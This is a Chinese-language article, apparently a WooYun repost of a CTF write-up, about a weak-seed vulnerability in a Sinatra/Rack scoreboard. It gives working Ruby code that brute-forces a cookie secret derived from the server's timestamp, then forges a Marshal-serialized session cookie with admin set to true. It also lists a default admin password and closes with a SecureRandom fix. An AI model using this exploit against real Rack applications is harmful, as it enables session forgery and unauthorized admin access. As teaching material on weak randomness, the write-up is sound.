4

弱随机化种子漏洞科普 | WooYun知识库

 6 years ago
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

弱随机化种子漏洞科普

0x00 背景


上周我参加了一个Bishop Fox和BYU大学举办的CTF比赛,在比赛过程中我决定尝试一下入侵一下计分系统,并且我把入侵的过程记录了下来。

尽管客户端的token欺骗已经不是什么新鲜事了,但是这次的入侵过程可以作为weak randomness漏洞的一个很好的练习。(这次攻击目标所使用的框架并不是像Rails一样常用的框架)

最后说一句:这个漏洞是框架自己带有的而不是Bishop Fox 或者是 BYU的问题。

0x01 cookie运行原理


在开始之前,我推荐你阅读一下这篇博文,他会告送你一个基于ruby的webapps如何处理cookie。

简而言之,ruby会生成一个hash数值作为一个cookie存储在用户客户端像这样

{ 'session_id' => '78894f58c088a9c6555370a0d97e373e715b91bc' }  

之后ruby分为三步把他存储到客户端

(1)使用Marshal.dump对数据结构进行序列化  
(2)使用base64编码第一步得到的字符串  
(3)计算message的HMAC(HMAC被用于message的完整性检查,这是ruby的一种机制以防用户篡改自己的cookie)  

当以上三步做完之后,ruby会在头文件中加入如下一段

Set-Cookie:"rack.session={base64-encoded message body}--{hmac};"  

实际的cookie是这样

Set-Cookie:"rack.session=BAh7BkkiD3Nlc3Npb25faWQGOgZFVEkiRTViNDY1NjdkYTAzYjYwYTdlZGIy%0ANDg4NWEyMzVlY2E2YzRkYmM5M2IwYzgxZWJlMDc1NmQ0NGRmODE0ZjEzYjAG%0AOwBG%0A--2148e8dc04eeba3bf0f4e0d70c04465b61c4758d;"  

上述处理cookie的过程有一个漏洞,message中的信息可以被客户端还原,只需要对它进行base64解码和反序列化即可得到原始的ruby object

ruby对于cookie信任的前提是,通过HMAC验证message中的内容必须是有你代码中设定的密钥标记过的,只有这样ruby才会把cookie当做一个有效地凭证。

下图就是上述过程简要流程

enter image description here

如果你篡改了你的cookie,会导致HMAC验证不通过,从而使你修改过的cookie值失效。

0x02 简介


CTF的评分系统是一个Sinatra-based的webapp,它使用了一些基本的Rails机制,提供了一个计分板的效果。看一下代码,还是比较简洁的。

这个webapp有一个有趣的现象就是,默认情况下代码库中没有配置文件,配置文件是在程序运行过程中生成的,下面是创建配置文件的代码。

#!ruby
begin
  require './config.rb'
rescue Exception => e
  # create default config.rb
  open('./config.rb', "w+") {|f|
    f.puts <<-"EOS"
COOKIE_SECRET = "#{Digest::SHA1.hexdigest(Time.now.to_s)}"
ADMIN_PASS_SHA1 = "08a567fa1a826eeb981c6762a40576f14d724849" #ctfadmin
STYLE_SHEET = "/style.css"
HTML_TITLE = "scoreserver.rb CTF"
EOS
    f.flush
  }
  require './config.rb'
end

值得注意的是,COOKIE_SECERT就是前文中提到的HMAC所使用的key。他是Time.now.to_s的SHA-1散列。这段代码中所使用的Time.now.to_s就是我们所说的不健壮的随机化种子。

0x03 原理


现在我们很容易知道,如果想要伪造cookie,就必须得到一个合法的HMAC字符串,只有得到它之后,我们才可以通过修改session-id来控制session。

这个漏洞的根源是因为它使用了,弱随机化种子,在上文的代码中,SHA1-hashing 加密了一个秒级别的精度的字符串,这样我们就可以使用暴力的方法尝试一天之内秒数只需要60 x 60 x 24次尝试。

而且我们并不需要把每次的尝试结果提交到web服务器,只需要在本地计算出正确的key,然后再通过它构造出正确的HMAC提交即可。

0x04 POC


为了确定一下我们是否可以破解HMAC,我们可以试一下。

首先,我们从webapp得到cookie和HMAC。如果你想自己测试,copy以下代码运行即可。

#!ruby
require 'faraday'

connection = Faraday.new(:url => 'http://localhost:4567')
response = connection.get '/'
cookie, hmac = response.headers[:'set-cookie'].split.first.chop.split('=').last.split('--')

现在我们只需要不断的获取Time.now和创建HMACs直到匹配为止。我们通过一个循环依次减小时间,直到找到正确的时间使得SHA1散列匹配而得到session key。

#!ruby
require 'digest/sha1'
require 'openssl'

def create_hmac message, key
  OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, key, CGI.unescape(message))
end

seed = Time.now

while (hmac != create_hmac(cookie, Digest::SHA1.hexdigest(seed.to_s))) do
    seed -= 1
end

key = Digest::SHA1.hexdigest(seed.to_s)

这样我们就可以成功破解key了,这个key可以帮助我们创建合法的HMAC。

0x05 利用


得到了key,我们就可以找一下源代码中有什么能让我们提升权限的地方。

首先,代码会对cookie进行反序列化。

#!ruby
params = Marshal.load(Base64.decode64(CGI.unescape(cookie)))

这样修改之后,我们就可以赋予自己管理员权限。

#!ruby
params.merge!({ 'admin' => true })

通过上述语句重建cookie

#!ruby
bad_cookie = CGI.escape(Base64.encode64(Marshal.dump(params)))
bad_hmac = create_hmac(bad_cookie, key)
header = "rack.session=#{bad_cookie}--#{bad_hmac};"

只要把上面得到的cookie内容,加到header里面就可以获取管理员权限了。

到达这一步只要查看源代码就可以很轻易地获取到每一题的答案了。

0x06 防御方法


我在github上提交了一个修改版本,其中使用这句代替了cookie secret key的生成

Digest::SHA1.hexdigest(Time.now.to_s)  

使用SecureRandom库生成随机数

SecureRandom.hex(20)  

这会生成一个40个字符的随机字符串

0x07 结论


这篇文章虽然在技术上没有什么实质性突破,但是作为一个弱随机漏洞的例子还是很不错的,希望在思路上可以启发到各位。

from:http://blog.tjll.net/weak-random-seed-rack-exploit/


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK